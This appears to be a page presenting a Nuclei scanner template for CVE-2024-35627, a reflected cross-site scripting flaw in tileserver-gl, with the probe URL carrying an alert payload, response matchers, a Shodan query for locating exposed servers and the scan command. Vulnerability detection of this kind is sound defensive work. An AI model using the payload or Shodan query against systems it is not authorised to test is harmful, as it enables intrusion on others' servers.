Skip to content

TileServer API - Cross Site Scripting

ID: CVE-2024-35627

Severity: medium

Author: DhiyaneshDK

Tags: cve,cve2024,tileserver,xss

tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.

id: CVE-2024-35627
info:
name: TileServer API - Cross Site Scripting
author: DhiyaneshDK
severity: medium
description: |
tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.
reference:
- https://gist.github.com/SaleSlave/e23d49e7f8eb937784d15c2c2fc34fca
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-35627
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-1258058404
tags: cve,cve2024,tileserver,xss
http:
- method: GET
path:
- "{{BaseURL}}/data/v3/?key=%27-alert(document.domain)-%27"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "TileServer"
- "'-alert(document.domain)-'"
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100d8efbd149c494c095b6e72cfd4697f90d308515ece186ff970ad2fa4fe2bcc5502201a3cb11caf74ea9deded76798498abc82d17155b8abd1d9b5d775211631138ac:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-35627.yaml"

View on Github